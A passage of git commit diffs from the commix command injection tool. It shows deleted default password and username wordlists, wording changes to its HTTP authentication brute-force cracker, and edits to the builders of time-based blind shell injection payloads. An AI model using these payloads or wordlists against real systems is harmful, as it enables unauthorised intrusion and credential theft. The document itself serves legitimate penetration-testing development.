-Hershey -Homer -Jackson -Janet -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -KILLER -Katie -Kitten -Liberty -Lindsay -Lizard -Madeline -Margaret -Maxwell -Mellon -Merlot -Metallic -Michel1 -Money -Monster -Montreal -Newton -Nicholas -Noriko -Paladin -Pamela -Password -Peaches -Peanuts -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Rabbit -Raiders -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Skeeter -Smokey -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taylor -Theresa -Thomas -Thunder -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Winnie -Wolverine -Woodrow -World -aa -aaaa -aardvark -abbott -abcd123 -abcde -accord -active -acura -adg -admin -admin1 -adrock -aerobics -africa -agent -airborne -airwolf -aki123 -alfaro -ali -alicia -alien -aliens -alina -aline -alison -allegro -allen -allstate -aloha -alpha1 -altamira -althea -altima -altima1 -amanda1 -amazing -america -amour -anderson -andre -andrew! -andrew1 -andromed -angels -angie1 -ann -anne -anneli -annie -anything -apple1 -apple2 -applepie -april -aptiva -aqua -aquarius -ariane -ariel -arlene -arrow -artemis -asdf1234 -asdf;lkj -asdfjkl -ashley1 -ashraf -ashton -assmunch -asterix -attila -autumn -avatar -ayelet -aylmer -babes -bambi -baraka -barbie -barn -barney1 -barnyard -barrett -bart -bartman -bball -beaches -beanie -beans -beasty -beauty -beavis1 -bebe -becca -belgium -belize -belle -belmont -benji -benson -beowulf -bernardo -berry -beryl -best -beta -betacam -betsy -betty -bharat -bichon -bigal -bigboss -bigred -biker -bilbo -bills -billy1 -bimmer -bioboy -biochem -birdie -birdy -birthday -biscuit -bitter -biz -blackjack -blah -blanche -blinds -blitz -blood -blowjob -blowme -blueeyes -bluejean -blues -boat -bogart -bogey -bogus -bombay -boobie -boots -bootsie -boulder -bourbon -boxer -boxers -bozo -brain -branch -brandi -brent -brewster -bridge -britain -broker -bronco -bronte -brooke -brother -bryan -bubble -bucks -buddha -budgie -buffett -bugs -bulls -burns -burton -butterfly -buzz -byron -c00per -calendar -calgary -calvin1 -camay -camel -camille -campbell -camping -cancer -canela -cannon -car -carbon -carl -carnage -carolyn -carrot -cascade -cat -catfish -cathy -catwoman -cecile -celica -cement -cessna -chad -chainsaw -chameleon -chang -change -chantal -charger -chat -cherry -chess -chiara -chiefs -china -chinacat -chinook -chouette -chris123 -christ1 -christmas -christopher -chronos -chuck -cicero -cindy1 -cinema -circuit -cirque -cirrus -civic -clapton -clarkson -class -claude -claudel -cleo -cliff -clock -clueless -cobain -cobra -cody -colette -college -color -colors -colt45 -comet -concept -concorde -confused -cool -coolbean -cora -corky -cornflake -corvette -corwin -cosmo -country -courier -cows -crescent -cross -crowley -crusader -cthulhu -cuda -cunningham -cunt -cupcake -current -cutlass -cynthia -daedalus -dagger -dagger1 -daily -dale -dammit -damogran -dana -dancer -daphne -darkstar -darren -darryl -darwin -data1 -datatrain -daytek -dead -deborah -december -decker -deedee -deeznuts -def -delano -delete -demon -denise -denny -desert -deskjet -detroit -devil -devine -devon -dexter -dharma -dianne -diesel -dillweed -dim -dipper -director -disco -dixie -dixon -doc -dodgers -dogbert -doggy -doitnow -dollar -dolly -dominique -domino -dontknow -doogie -doors -dork -doudou -doug -downtown -dragon1 -driver -dude -dudley -dutch -dutchess -dwight -eagle1 -easter -eastern -edith -edmund -effie -eieio -eight -element -elina1 -elissa -ella -ellen -elliot -elsie -empire -engage -enigma -enterprise -eric1 -erin -ernie1 -escort -escort1 -estelle -eugene -evelyn -excel -explore -eyal -faculty -fairview -family1 -fatboy -faust -felipe -fenris -ferguson -ferret -ferris -finance -fireball -first -fishes -fishhead -fishie -flanders -fleurs -flight -florida1 -flowerpot -flute -fly -flyboy -flyer -forward -franka -freddie -frederic -free -freebird -freeman -frisco -fritz -froggie -froggies -frogs -front242 -frontier -fucku -fugazi -funguy -funtime -future -fuzz -gabby -gaby -gaelic -gambler -games -gammaphi -garcia -garfunkel -garth -gary -gaston -gateway -gateway2 -gator1 -george1 -georgia -german -germany1 -getout -ggeorge -ghost -gibbons -gibson -gigi -gilgamesh -giselle -glider1 -gmoney -goat -goblin -goblue -godiva -goethe -gofish -gollum -gone -good -gramps -grandma -gravis -gray -greed -greg -greg1 -gremlin -greta -gretzky -grizzly -grumpy -guess -guido -guitar1 -gumby -gustavo -h2opolo -haggis -haha -hailey -hal -halloween -hallowell -hamid -hamilton -hamlet -hank -hanna -hanson -happy123 -happyday -hardcore -harley1 -haro -harriet -harris -harvard -hawk -hawkeye1 -health -health1 -heart -heather1 -heather2 -hedgehog -heikki -helene -hello1 -hello123 -hello8 -hellohello -help123 -helper -hermes -heythere -highland -hilda -hillary -histoire -history -hitler -hobbes -holiday -holly -homerj -honda1 -hongkong -hoosier -hootie -hope -horse -hosehead -hotrod -huang -hudson -hugh -hugo -hummer -huskies -hydrogen -i -ib6ub9 -idiot -if6was9 -iforget -ilmari -iloveu -impact -indonesia -ingvar -insight -instruct -integral -iomega -irina -iris -irmeli -isabelle -israel -italia -italy -izzy -j0ker -j1l2t3 -jackie1 -jacob -jakey -james1 -jamesbond -jamie -jamjam -jan -jazz -jean -jedi -jeepster -jeffrey1 -jennie -jenny -jensen -jer -jesse -jesse1 -jester -jethro -jetta1 -jimbob -jimi -jimmy -joanie -joanna -joelle -john316 -jordie -jorge -josee -josh -journey -joy -joyce -jubilee -juhani -jules -julia2 -julien -juliet -jumbo -jump -junebug -juniper -justdoit -justice4 -kalamazo -kali -karin -karine -karma -kat -kate -katerina -katie -katie1 -kayla -kcin -keeper -keller -kendall -kenny -kerala -kerrya -ketchup -khan -kids -kings -kissa2 -kissme -kitten -kittycat -kiwi -kkkkkk -kleenex -kombat -kristi -kristine -lab1 -labtec -laddie -ladybug -lamer -lance -laser -laserjet -lassie1 -laurel -lawson -leader -leaf -leblanc -legal -leland -lemon -leo -lester -letter -letters -lev -lexus1 -libra -life -lights -lima -lionel -lions -lissabon -little -liz -lizzy -logger -logos -loislane -loki -lolita -lonestar -longer -longhorn -looney -loren -lori -lorna -loser -lost -lotus -lou -lovers -loveyou -lucia -lucifer -lucky14 -macha -macross -macse30 -maddie -madmax -madoka -magic1 -magnum -maiden -maine -makeitso -mallard -manageme -manson -manuel -marc -marcus -maria -marielle -marine -marino -marshall -mart -martha -math -matti1 -mattingly -maxmax -meatloaf -mech -mechanic -medical -megan -meister -melina -memphis -mercer -merde -mermaid -merrill -miami -michal -michel -michigan -michou -mickel -mickey1 -microsoft -midvale -mikael -milano -miles -millenium -million -minou -miranda -miriam -mission -mmmmmm -mobile -mobydick -modem -mojo -monkey1 -monroe -montana -montana3 -montrose -monty -moomoo -moonbeam -morecats -morpheus -motor -motorola -movies -mowgli -mozart -mulder1 -munchkin -murray -muscle -mustang1 -nadia -nadine -napoleon -nation -national -neil -neko -nesbit -nestle -neutrino -newaccount -newlife -newyork1 -nexus6 -nichole -nicklaus -nightshadow -nightwind -nike -nikita -nikki -nintendo -nisse -nokia -nomore -none1 -nopass -normal -norton -notta1 -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oaxaca -obiwan -obsession -ohshit -oicu812 -omega -openup -orchid -oreo -orlando -orville -otter -ozzy -paagal -packard -packers -packrat -paint -paloma -pam -pancake -panic -papa -paradigm -park -parola -parrot -partner -pascal -pass -patches -patriots -paula -pauline -pavel -payton -peach -peanuts -pedro1 -peggy -pekka -perfect -performa -perry -peterk -peterpan -phialpha -philips -phillips -phishy -phone -piano1 -pianoman -pianos -pierce -pigeon -pink -pioneer -pipeline -piper1 -pirate -pisces -plato -play -playboy -pluto -poetic -poetry -pole -pontiac -pookey -pope -popeye -prayer -precious -prelude -premier -print -printing -prof -provider -puddin -pulsar -pussy -pussy1 -pyro -qqq111 -quebec -qwer -qwert -qwerty12 -qwertyui -r0ger -rabbit1 -racer -racerx -rachelle -racoon -radar -rafiki -raleigh -ram -rambo -randy1 -rasta1 -ratio -ravens -redcloud -redfish -redman -redskins -redwing -redwood -reed -reggae -reggie -reliant -rene -renee -renegade -rescue -revolution -rex -reznor -rhino -rhjrjlbk -richard1 -richards -richmond -riley -ripper -ripple -rita -robby -roberts -robocop -robotics -roche -rock -rocket1 -rockie -rockon -roger1 -rogers -roland -rommel -roni -rookie -rootbeer -rosie -rossigno -rufus -rugger -rush -rusty -ruthless -sabbath -sabina -safety -safety1 -saigon -saint -samIam -samiam -sammie -sammy -samsam -sandi -sanjose -saphire -sarah1 -saskia -sassy -satori -saturday -saturn5 -schnapps -science -scooby -scoobydoo -scooter1 -scorpion -scotch -scotty -scouts -scuba -search -secret3 -seeker -seoul -september -server -services -seven7 -sex -sexy -shaggy -shanghai -shanny -shaolin -shasta -shayne -shazam -shelly -shelter -sherry -ship -shirley -shorty -shotgun -sidney -sigmachi -signal -signature -simba1 -simsim -sinatra -sirius -skate -skip -skipper1 -skydive -skyler -slayer -sleepy -slick -slider -slip -smegma -smile1 -smiths -smitty -smoke -smurfy -snakes -snapper -snoop -snow -sober1 -solomon -sonics -sony -sophia -space -sparks -spartan -spazz -sphynx -spike1 -spock -sponge -spoon -spot -sprocket -spurs -squash -stan -starbuck -stargate -starlight -stars -steel -steph1 -stephi -steve1 -stevens -stewart -sting -stivers -stocks -stone -storage -stranger -strat -strato -stretch -strong -stud -student2 -studio -stumpy -sucker -suckme -sue -sultan -summit -sunfire -sunset -super -superstar -surfing -susan1 -susanna -sutton -suzy -swanson -sweden -sweetpea -sweety -swim -switzer -swordfish -system5 -t-bone -tab -tabatha -tacobell -taiwan -talon -tamtam -tanner -tapani -targas -target -tarheel -tasha -tata -tattoo -tazdevil -tequila -terry1 -test2 -test3 -tester -testi -testtest -texas -thankyou -theend -thelorax -thisisit -thompson -thorne -thrasher -tiger2 -tightend -tika -tim -timber -timothy -tinkerbell -tnt -tom -tool -topcat -topher -toshiba -total -toto1 -tototo -toucan -transfer -transit -transport -trapper -trash -travis -tre -treasure -trees -tricky -trish -triton -trombone -trophy -trouble -trucker -tucson -tula -turbo -turbo2 -twins -tyler1 -ultimate -unique -united -unity -unix -upsilon -ursula -user1 -vacation -valley -vampire -vanessa -vedder -velo -venice -venus -vermont -vette -vicki -vicky -victor1 -vikram -vincent1 -violet -violin -virago -virgil -virginia -vision -visual -volcano -volley -voodoo -vortex -waiting -walden -waldo -walleye -wanker -warner -water1 -wayne1 -webmaster -webster -wedge -weezer -wendy1 -western -whale1 -whit -white -whitney -whocares -whoville -wibble -wildcat -will -william1 -wilma -wind -window -winniethepooh -wolfgang -wolverine -wombat1 -wonder -word -world -x-files -x-men -xanth -xxx123 -xxxxxxxx -xyz -yamaha -yankee -yogibear -yolanda -yomama -yvette -zachary -zack -zebras -zepplin -zoltan -zoomer -zxc -zxcvbn -!@#$%^& -00000000 -121212 -1234qwer -123go -131313 -13579 -1701d -21122112 -369 -5555 -80486 -90210 -911 -99999999 -@#$%^& -ABC123 -Abcdef -Asdfgh -Casio -Changeme -FuckYou -Fuckyou -Gizmo -Hello -JSBach -Michel -NCC1701 -PPP -Qwert -Qwerty -Windows -Zxcvb -Zxcvbnm -action -advil -allo -amelie -anaconda -angus -apollo13 -artist -aspen -ass -asshole -ath -benoit -bernard -bernie -bigbird -bird -blizzard -bluesky -bonjour -booster -byteme -caesar -cardinal -carolina -cats -cedic -cesar -chandler -changeit -chapman -charlie1 -chevy -chiquita -chocolat -christia -christoph -classroom -cloclo -coco -corrado -cougars -courtney -dasha -demo -dirk -dolphins -dominic -donkey -doom2 -dusty -e -energy -fearless -fiction -forest -french1 -fubar -gator -gilles -glenn -go -gocougs -good-luck -graymail -guinness -hilbert -hola -home -homebrew -hotdog -indian -jared -jimbo -jkm -johnson -jojo -josie -judy -koko -kristin -lloyd -lorraine -lulu -lynn -m1911a1 -mac -macintosh -mailer -mars -maxime -memory -meow -mimi -mirror -nat -ne1410s -ne1469 -ne14a69 -nebraska -nemesis -network -newcourt -nigel -niki -nite -notused -oatmeal -patton -paul -pedro -planet -players -politics -pomme -portland -praise -property -protel -psalms -qwaszx -raiders -rambo1 -rancid -ruth -sales -salut -scrooge -shawn -shelley -skidoo -softball -spain -speedo -sports -sss -ssssss -steele -steph -stephani -sunday -surf -sylvie -symbol -tiffany -tigre -toronto -trixie -undead -valentin -velvet -viking -walker -watson -young -zhongguo \ No newline at end of file diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt deleted file mode 100644 index 05f46a5a39..0000000000 --- a/src/txt/usernames.txt +++ /dev/null @@ -1,125 +0,0 @@ -111111 -123456 -12345678 -abc123 -abramov -account -accounting -ad -adm -admin -administrator -adver -advert -advertising -afanasev -agafonov -agata -aksenov -aleksander -aleksandrov -alekse -alenka -alexe -alexeev -alla -anatol -andre -andreev -andrey -anna -anya -ao -aozt -arhipov -art -avdeev -avto -bank -baranov -Baseball -belousov -bill -billing -blinov -bobrov -bogdanov -buh -buhg -buhgalter -buhgalteria -business -bux -catchthismail -company -contact -contactus -corp -design -dir -director -direktor -dragon -economist -edu -email -er -expert -export -fabrika -fin -finance -ftp -glavbuh -glavbux -glbuh -helloitmenice -help -holding -home -hr -iamjustsendingthisleter -info -ingthisleter -job -john -kadry -letmein -mail -manager -marketing -marketing -mike -mogggnomgon -monkey -moscow -mysql -maint -office -ok -oracle -password -personal -petgord34truew -post -postmaster -pr -qwerty -rbury -reklama -root -r00t -sale -sales -secretar -sekretar -support -test -testing -thisisjusttestletter -trade -uploader -user -webmaster -wwwadmin -www-data \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index d02b314ecd..32dc8e94b2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -86,7 +86,7 @@ class HTTPMETHOD(object): ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ @@ -190,7 +190,7 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - result = CHECK_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + CHECK_SIGN + str(payload) + Style.RESET_ALL return result # Print question message @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1055,8 +1055,8 @@ class INJECTION_TECHNIQUE(object): RETEST = False # Define the default credentials files -USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "usernames.txt" -PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "passwords_john.txt" +USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" +PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" REQUIRED_AUTHENTICATION = False From bfe73ad528d6acebe9cde2c8d0ec685b8f99baae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Jul 2024 08:22:08 +0300 Subject: [PATCH 481/560] Minor update --- src/core/injections/controller/controller.py | 25 ++++++++++---------- src/core/requests/authentication.py | 7 +++--- src/utils/settings.py | 4 ++-- 3 files changed, 17 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index fff76ed528..325abdf4b1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -535,20 +535,19 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = True + # Cookie Injection cookie_value = menu.options.cookie - if cookie_value: - settings.COOKIE_INJECTION = True - # Cookie Injection - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: # Restore cookie value diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index f66c4d158a..2336a18190 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -158,8 +158,7 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) - + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) try: # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: @@ -196,7 +195,7 @@ def http_auth_cracker(url, realm, http_request_method): i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for valid pair of HTTP authentication credentials." + info_msg = "Checking for a valid pair of HTTP authentication credentials." info_msg += float_percent settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) @@ -204,7 +203,7 @@ def http_auth_cracker(url, realm, http_request_method): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified valid pair of HTTP authentication credentials: '" + info_msg = "Identified a valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/utils/settings.py b/src/utils/settings.py index 32dc8e94b2..c70bdb6e2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "84" +REVISION = "85" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1361,4 +1361,4 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" -# eof \ No newline at end of file +# eof From c31836eba1fcf10c132ca6a682f69ffb56399a8d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 9 Jul 2024 07:17:54 +0300 Subject: [PATCH 482/560] Minor update regarding specific payloads --- .../techniques/time_based/tb_payloads.py | 79 ++++++++++++------- .../techniques/classic/cb_payloads.py | 43 +++++++--- .../techniques/tempfile_based/tfb_payloads.py | 74 +++++++++++------ src/utils/settings.py | 2 +- 4 files changed, 130 insertions(+), 68 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index c866b1d341..1c1cb5926d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -52,7 +52,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + "fi" + + separator ) @@ -65,7 +66,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): # Find the length of the output. "str1=$(expr length \"$str\")" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -74,7 +76,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (pipe + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -94,7 +97,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) elif separator == "&&" : @@ -105,7 +107,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -115,7 +116,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "if [ " + str(output_length) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -126,7 +128,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -136,7 +139,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -187,7 +191,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -200,7 +205,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "str1=$(expr length $str)" + separator + #"str1=${%23str} " + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -210,7 +216,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): payload = (pipe + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -229,8 +236,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -239,7 +246,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -249,7 +255,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "if [ " + str(output_length) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi " + + separator ) elif separator == "&&" : @@ -260,7 +267,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -270,7 +278,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -321,7 +330,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi " + + separator ) elif separator == "&&" : @@ -337,7 +347,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -348,7 +359,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -368,7 +380,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) elif separator == "&&" : @@ -379,7 +390,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -388,7 +398,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -398,7 +409,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + 